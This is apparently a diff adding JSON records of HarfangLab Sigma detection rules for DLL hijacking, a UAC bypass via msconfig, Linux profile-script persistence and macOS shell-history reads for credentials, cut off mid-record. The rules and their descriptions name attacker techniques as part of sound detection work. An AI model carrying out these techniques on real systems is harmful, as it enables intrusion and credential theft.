+  "id": "7d08cd8e-c2ae-417e-9c41-f658cc4b2ae3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.601191Z",
+  "creation_date": "2026-03-23T11:45:34.601194Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.601202Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_fveprompt.yml",
+  "content": "title: DLL Hijacking via fveprompt.exe\nid: 7d08cd8e-c2ae-417e-9c41-f658cc4b2ae3\ndescription: |\n    Detects potential Windows DLL Hijacking via fveprompt.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'fveprompt.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\FVEAPI.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "7d08cd8e-c2ae-417e-9c41-f658cc4b2ae3",
+  "rule_name": "DLL Hijacking via fveprompt.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via fveprompt.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "7d4609c4-41cd-4b61-90e3-fb44e96e7305",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.077548Z",
+  "creation_date": "2026-03-23T11:45:34.077550Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.077554Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/hfiref0x/UACME",
+    "https://attack.mitre.org/techniques/T1548/002/"
+  ],
+  "name": "t1548_002_post_uac_bypass_msconfig.yml",
+  "content": "title: UAC Bypass Executed via msconfig\nid: 7d4609c4-41cd-4b61-90e3-fb44e96e7305\ndescription: |\n    Detects a suspicious process execution by msconfig.exe.\n    msconfig.exe is often abused by attackers for UAC bypasses due to its auto-elevate feature.\n    It is recommended to investigate the newly created process and check for malicious behavior.\nreferences:\n    - https://github.com/hfiref0x/UACME\n    - https://attack.mitre.org/techniques/T1548/002/\ndate: 2024/10/08\nmodified: 2025/01/14\nauthor: HarfangLab\ntags:\n    - attack.privilege_escalation\n    - attack.defense_evasion\n    - attack.t1548.002\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.LOLBin.Msconfig\n    - classification.Windows.Behavior.UACBypass\nlogsource:\n    product: windows\n    category: process_creation\ndetection:\n    selection:\n        ProcessGrandparentIntegrityLevel: 'Medium'\n        ProcessParentIntegrityLevel: 'High'\n        ProcessIntegrityLevel: 'High'\n        ProcessParentImage:\n            - '?:\\windows\\system32\\msconfig.exe'\n            - '?:\\windows\\SysWOW64\\msconfig.exe'\n\n    filter_grand_parent:\n        ProcessGrandparentImage:\n            - '?:\\windows\\explorer.exe'\n            - '?:\\Windows\\System32\\RuntimeBroker.exe'\n            - '?:\\Windows\\System32\\control.exe'\n            - '?:\\Windows\\System32\\CompMgmtLauncher.exe'\n\n    filter_legitime_child:\n        ProcessImage:\n            - '?:\\windows\\System32\\Taskmgr.exe'\n            - '?:\\WINDOWS\\system32\\mmc.exe'\n            - '?:\\WINDOWS\\system32\\eventvwr.exe'\n            - '?:\\WINDOWS\\system32\\control.exe'\n            - '?:\\WINDOWS\\system32\\UserAccountControlSettings.exe'\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "7d4609c4-41cd-4b61-90e3-fb44e96e7305",
+  "rule_name": "UAC Bypass Executed via msconfig",
+  "rule_description": "Detects a suspicious process execution by msconfig.exe.\nmsconfig.exe is often abused by attackers for UAC bypasses due to its auto-elevate feature.\nIt is recommended to investigate the newly created process and check for malicious behavior.\n",
+  "rule_creation_date": "2024-10-08",
+  "rule_modified_date": "2025-01-14",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1548.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "7db54556-f600-4f15-a4cb-a45837a6edc6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "low",
+  "rule_effective_confidence": "weak",
+  "alert_count": 1,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-24T07:14:08.622557Z",
+  "creation_date": "2026-03-23T11:45:34.596737Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.596745Z",
+  "rule_level": "low",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1546.004/T1546.004.md#atomic-test-1---add-command-to-bash_profile",
+    "https://attack.mitre.org/techniques/T1546/004/"
+  ],
+  "name": "t1546_004_user_profile_modified_linux.yml",
+  "content": "title: User Profile Modified\nid: 7db54556-f600-4f15-a4cb-a45837a6edc6\ndescription: |\n    Detects an attempt to modify any of the user profile scripts, .profile, .bash_profile or .bash_login.\n    These scripts contain commands for setting environment variables.\n    Adversaries can establish persistence by adding a malicious binary path or shell commands to these files.\n    It is recommended to analyze the process responsible for the edition of the profile script as well as to investigate the changes made to the files to look for malicious commands by downloading the affected files via a \"Download file\" job.\nreferences:\n    - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1546.004/T1546.004.md#atomic-test-1---add-command-to-bash_profile\n    - https://attack.mitre.org/techniques/T1546/004/\ndate: 2023/01/03\nmodified: 2026/03/23\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1546.004\n    - classification.Linux.Source.Filesystem\n    - classification.Linux.Behavior.ConfigChange\n    - classification.Linux.Behavior.Persistence\nlogsource:\n    category: filesystem_event\n    product: linux\ndetection:\n    selection_write:\n        Kind: 'access'\n        Permissions: 'write'\n        Path:\n            - '/root/.profile'\n            - '/root/.bash_profile'\n            - '/root/.bash_login'\n            - '/home/*/.profile'\n            - '/home/*/.bash_profile'\n            - '/home/*/.bash_login'\n\n    selection_misc:\n        Kind:\n            - 'rename'\n            - 'symlink'\n            - 'hardlink'\n        TargetPath:\n            - '/root/.profile'\n            - '/root/.bash_profile'\n            - '/root/.bash_login'\n            - '/home/*/.profile'\n            - '/home/*/.bash_profile'\n            - '/home/*/.bash_login'\n\n    exclusion_common:\n        ProcessImage:\n            - '/usr/sbin/luserdel'\n            - '/usr/sbin/luseradd'\n            - '/usr/bin/tar'\n            - '/usr/bin/podman'\n            - '/usr/bin/rsync'\n\n    exclusion_useradd:\n        - ProcessImage: '/usr/sbin/useradd'\n        - ProcessCommandLine|startswith:\n            - '/usr/bin/perl /usr/sbin/adduser '\n            - '/usr/bin/perl -T /usr/sbin/adduser '\n\n    exclusion_docker:\n        - ProcessImage:\n            - '/usr/local/bin/dockerd'\n            - '/usr/bin/dockerd'\n            - '/usr/sbin/dockerd'\n            - '/usr/bin/dockerd-current'\n            - '/usr/sbin/dockerd-current'\n            - '/snap/docker/*/bin/dockerd'\n            - '/bin/containerd'\n            - '/usr/bin/containerd'\n            - '/usr/bin/dockerd-ce'\n        - ProcessAncestors|contains:\n            - '|/usr/bin/dockerd|'\n            - '/usr/bin/containerd-shim-runc-v2'\n\n    exclusion_rootlesskit:\n        # /home/<redacted>/bin/rootlesskit --state-dir=/run/user/1022/dockerd-rootless --net=slirp4netns --mtu=65520 --slirp4netns-sandbox=auto --slirp4netns-seccomp=auto --disable-host-loopback --port-driver=builtin --copy-up=/etc --copy-up=/run --propagation=rslave /home/<redacted>/bin/dockerd-rootless.sh\n        - ProcessImage:\n            - '/usr/bin/rootlesskit'\n            - '/home/*/bin/rootlesskit'\n            - '/home/*/.bin/rootlesskit'\n        - ProcessParentImage:\n            - '/usr/bin/rootlesskit'\n            - '/home/*/bin/rootlesskit'\n            - '/home/*/.bin/rootlesskit'\n\n    exclusion_oddjob:\n        ProcessImage: '/usr/libexec/oddjob/mkhomedir'\n\n    exclusion_yocto:\n        ProcessImage|startswith: '/opt/yocto/'\n\n    exclusion_mkhomedir:\n        ProcessImage:\n            - '/usr/sbin/mkhomedir_helper'\n            - '/sbin/mkhomedir_helper'\n\n    exclusion_template_ansible:\n        - ProcessCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/AnsiballZ_*.py'\n        - ProcessParentCommandLine:\n            - '/bin/sh -c /usr/bin/python* && sleep 0'\n            - '/bin/sh -c /usr/libexec/platform-python && sleep 0'\n            - '/bin/sh -c LANG=C /usr/bin/python* && sleep 0'\n            - '/bin/sh -c LANG=C /usr/libexec/platform-python && sleep 0'\n        - ProcessParentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n        - ProcessGrandparentCommandLine:\n            - '/bin/sh -c /usr/bin/python* && sleep 0'\n            - '/bin/sh -c /usr/libexec/platform-python && sleep 0'\n            - '/bin/sh -c LANG=C /usr/bin/python* && sleep 0'\n            - '/bin/sh -c LANG=C /usr/libexec/platform-python && sleep 0'\n        - ProcessGrandparentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n        - ProcessGrandparentParentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n        - ProcessGrandparentGrandparentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n\n    exclusion_dnf:\n        ProcessCommandLine: '/usr/libexec/platform-python /bin/dnf * distro-sync'\n\n    exclusion_edutice:\n        ProcessCommandLine: '/usr/bin/python3 /usr/lib/edutice/service/main.py'\n\n    exclusion_kaniko:\n        ProcessImage: '/kaniko/executor'\n\n    exclusion_tomcat:\n        - ProcessCommandLine|contains: '/opt/tomcat/bin/tomcat-create-instance.ksh'\n        - ProcessParentCommandLine|contains: '/opt/tomcat/bin/tomcat-create-instance.ksh'\n\n    exclusion_puppet:\n        ProcessParentImage|startswith: '/opt/puppetlabs/'\n\n    exclusion_siham:\n        ProcessImage: '/usr/lib/jvm/*/bin/java'\n        ProcessParentCommandLine|contains: '/lanceJava.ksh fr.amue.siham.outils.InstallerPackageClient'\n        Path: '/home/hr*/.profile'\n\n    exclusion_commandline:\n        - ProcessParentCommandLine|contains: 'bash -c . ${HOME}/.bash_profile;cd /var/opt/data/flat/'\n        - ProcessGrandparentCommandLine|contains: 'bash -c . ${HOME}/.bash_profile;cd /var/opt/data/flat/'\n\n    exclusion_cron:\n        ProcessAncestors|endswith: '|/usr/sbin/cron|/lib/systemd/systemd'\n\n    exclusion_apt:\n        ProcessAncestors|contains: '|/usr/bin/apt-get|'\n\n    exclusion_temp_file:\n        - ProcessImage: '/usr/bin/sed'\n          Path|endswith: '/sed??????'\n        - ProcessImage: '/usr/bin/sed'\n          TargetPath|endswith: '/sed??????'\n\n    condition: 1 of selection_* and not 1 of exclusion_*\nlevel: low\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "7db54556-f600-4f15-a4cb-a45837a6edc6",
+  "rule_name": "User Profile Modified",
+  "rule_description": "Detects an attempt to modify any of the user profile scripts, .profile, .bash_profile or .bash_login.\nThese scripts contain commands for setting environment variables.\nAdversaries can establish persistence by adding a malicious binary path or shell commands to these files.\nIt is recommended to analyze the process responsible for the edition of the profile script as well as to investigate the changes made to the files to look for malicious commands by downloading the affected files via a \"Download file\" job.\n",
+  "rule_creation_date": "2023-01-03",
+  "rule_modified_date": "2026-03-23",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1546.004"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "7dc2e5be-5fde-4138-a05f-7237bf36c9d9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.600529Z",
+  "creation_date": "2026-03-23T11:45:34.600532Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.600540Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_utcdecoderhost.yml",
+  "content": "title: DLL Hijacking via utcdecoderhost.exe\nid: 7dc2e5be-5fde-4138-a05f-7237bf36c9d9\ndescription: |\n    Detects potential Windows DLL Hijacking via utcdecoderhost.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'utcdecoderhost.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\USERENV.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "7dc2e5be-5fde-4138-a05f-7237bf36c9d9",
+  "rule_name": "DLL Hijacking via utcdecoderhost.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via utcdecoderhost.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "7dfd0c62-de07-4ea0-a8e7-2abe922f07b1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.628265Z",
+  "creation_date": "2026-03-23T11:45:34.628267Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.628271Z",
+  "rule_level": "medium",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1552/003/"
+  ],
+  "name": "t1552_003_shell_history_read_macos.yml",
+  "content": "title: Shell History File Read (macOS)\nid: 7dfd0c62-de07-4ea0-a8e7-2abe922f07b1\ndescription: |\n    Detects an attempt to read any of the common shell history files.\n    Those files contains the most recent commands executed by the user and can be used by an attacker to look for unsecured credentials.\n    It is recommended to verify if the process performing the read operation has legitimate reason to do it.\nreferences:\n    - https://attack.mitre.org/techniques/T1552/003/\ndate: 2024/06/18\nmodified: 2026/02/11\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1552.003\n    - classification.macOS.Source.Filesystem\n    - classification.macOS.Behavior.SensitiveInformation\n    - classification.macOS.Behavior.CredentialAccess\nlogsource:\n    category: filesystem_event\n    product: macos\ndetection:\n    selection_version:\n        # define minimum version for each branches\n        - AgentVersion|gte|version: 3.6.13\n          AgentVersion|lt|version: 3.7.0\n        - AgentVersion|gte|version: 3.7.11\n          AgentVersion|lt|version: 3.8.0\n        - AgentVersion|gte|version: 3.8.3\n          AgentVersion|lt|version: 3.9.0\n        # all versions above are patched\n        - AgentVersion|gte|version: 3.9.0\n\n    selection_files:\n        Path|endswith:\n            - '.history'\n            - '.bash_history'\n            - '.sh_history'\n            - '.zsh_history'\n        ProcessImage|contains: '?'\n        Kind: 'read'\n\n    filter_shell:\n        ProcessImage|endswith:\n            - '/bin/zsh'\n            - '/bin/bash'\n            - '/bin/sh'\n            - '/Applications/Warp.app/Contents/MacOS/stable'\n\n# Common exclusion\n    ### system app ###\n    filter_systemapp:\n        Image:\n            - '/System/Library/Services/*'\n            - '/System/Library/PrivateFrameworks/*'\n            - '/System/Library/CoreServices/*'\n            - '/System/Library/Frameworks/CoreServices.framework/*'\n            - '/System/Library/ExtensionKit/Extensions/*'\n            - '/System/Library/Frameworks/*'\n            - '/usr/sbin/filecoordinationd'\n    exclusion_systemextension:\n        Image|startswith: '/Library/SystemExtensions/????????-????-????-????-????????????/'\n\n    exclusion_virtualization:\n        Image: '/System/Library/Frameworks/Virtualization.framework/Versions/A/XPCServices/com.apple.Virtualization.VirtualMachine.xpc/Contents/MacOS/com.apple.Virtualization.VirtualMachine'\n\n    ### security tools ###\n    exclusion_hurukai:\n        Image: '/Applications/HarfangLab Hurukai.app/Contents/MacOS/hurukai'\n    exclusion_fortinet:\n        Image:\n            - '/Library/Application Support/Fortinet/FortiClient/bin/fmon2.app/Contents/MacOS/fmon2'\n            - '/Library/Application Support/Fortinet/FortiClient/bin/fcaptmon'\n            - '/Library/Application Support/Fortinet/FortiClient/bin/scanunit'\n    exclusion_microsoft_defender:\n        Image:\n            - '/Applications/Microsoft Defender.app/Contents/MacOS/wdavdaemon_enterprise.app/Contents/MacOS/wdavdaemon_enterprise'\n            - '/Applications/Microsoft Defender.app/Contents/MacOS/wdavdaemon'\n    exclusion_fsecure:\n        Image:\n            - '/usr/local/f-secure/bin/fscesproviderd.xpc/Contents/MacOS/fscesproviderd'\n            - '/Library/F-Secure/bin/fscesproviderd.xpc/Contents/MacOS/fscesproviderd'\n            - '/Library/F-Secure/bin/fsavd.app/Contents/MacOS/fsavd'\n    exclusion_bitdefender:\n        Image: '/Library/Bitdefender/AVP/product/bin/BDLDaemon.app/Contents/MacOS/BDLDaemon'\n    exclusion_eset:\n        Image:\n            - '/Applications/ESET Endpoint Security.app/Contents/MacOS/esets_sci'\n            - '/Applications/ESET Endpoint Security.app/Contents/MacOS/esets_daemon'\n            - '/Applications/ESET Endpoint Security.app/Contents/MacOS/esets_gui'\n            - '/Applications/ESET Endpoint Antivirus.app/Contents/MacOS/esets_daemon'\n            - '/Applications/ESET Cyber Security.app/Contents/MacOS/esets_daemon'\n    exclusion_withssecure:\n        Image:\n            - '/Library/WithSecure/bin/wsesproviderd.xpc/Contents/MacOS/wsesproviderd'\n            - '/Library/WithSecure/bin/wsavd.app/Contents/MacOS/wsavd'\n    exclusion_sentinel:\n        Image: '/Library/Sentinel/sentinel-agent.bundle/Contents/MacOS/sentineld_helper.app/Contents/MacOS/sentineld_helper'\n    exclusion_avast:\n        Image: '/Applications/Avast.app/Contents/Backend/utils/com.avast.Antivirus.EndpointSecurity.app/Contents/MacOS/com.avast.Antivirus.EndpointSecurity'\n    exclusion_trend:\n        Image: '/Applications/TrendMicroSecurity.app/Contents/Resources/iCoreService.app/Contents/MacOS/iCoreService'\n    exclusion_sophos:\n        Image: '/Library/Sophos Anti-Virus/SophosScanAgent.app/Contents/MacOS/SophosScanAgent'\n\n    ### backup sofware ###\n    exclusion_arq:\n        Image: '/Applications/Arq.app/Contents/Resources/ArqAgent.app/Contents/MacOS/ArqAgent'\n\n    # AtempoLiveNavigator\n    exclusion_hnagent:\n        Image: '/Library/Application Support/HN/base/bin/HNagent'\n\n    exclusion_wddesktop:\n        Image:\n            - '/Library/Application Support/WDDesktop.app/Contents/Resources/kdd'\n            - '/Library/Application Support/WDDesktop.app/Contents/Resources/wdsync'\n\n    ### misc\n    exclusion_vscode:\n        Image:\n            - '/Applications/Visual Studio Code.app/Contents/Frameworks/Code Helper.app/Contents/MacOS/Code Helper'\n            - '/Users/*/Visual Studio Code.app/Contents/Frameworks/Code Helper.app/Contents/MacOS/Code Helper'\n# end common exclusion\n\n    exclusion_rider_jetbrains:\n        Image:\n            - '/Users/*/Applications/Rider*.app/Contents/MacOS/rider'\n            - /Applications/Rider*.app/Contents/MacOS/rider\n\n    exclusion_cp_shell_sessions:\n        Image: '/bin/cp'\n        ProcessCommandLine:\n            - '/bin/cp /Users/*/.zsh_history /Users/*/.zsh_sessions/*.history'\n            - '/bin/cp /Users/*/.bash_history /Users/*/.bash_sessions/*.history'\n\n    exclusion_tail_zsh:\n        ProcessParentImage: '/bin/zsh'\n        ProcessParentCommandLine:\n            - '-zsh'\n            - '/bin/zsh -il'\n        ProcessCommandLine: 'tail -n100 /Users/*/.zsh_history'\n\n    exclusion_adobe:\n        Image: '/Applications/Adobe Bridge ????/Adobe Bridge ????.app/Contents/MacOS/Adobe Bridge *'\n\n    exclusion_phpstorm:\n        Image: '/Users/*/Applications/PhpStorm.app/Contents/MacOS/phpstorm'\n\n    exclusion_texteditor:\n        Image:\n            - '/opt/homebrew/Cellar/emacs/*/bin/emacs-*'\n            - '/usr/bin/vim'\n\n    exclusion_jetbrains:\n        ProcessSigned: 'true'\n        ProcessSignatureSigningId|startswith: 'com.jetbrains.'\n\n    exclusion_memory_cleaner:\n        ProcessSigned: 'true'\n        ProcessSignatureSigningId: 'com.nektony.Memory-Cleaner-SIII'\n\n    exclusion_superfile:\n        Image: '/opt/homebrew/Cellar/superfile/*/bin/spf'\n\n    exclusion_text_editor:\n        Image: '/System/Applications/TextEdit.app/Contents/MacOS/TextEdit'\n\n    exclusion_copy:\n        Image: '/bin/cp'\n        ProcessSignatureSigningId: 'com.apple.cp'\n        ProcessSigned: 'true'\n\n    exclusion_r:\n        Image: '/Applications/R.app/Contents/MacOS/R'\n        ProcessSignatureSigningId: 'org.R-project.R'\n        ProcessSigned: 'true'\n\n    exclusion_paloalto:\n        Image: '/Library/Application Support/PaloAltoNetworks/Traps/bin/pmd'\n        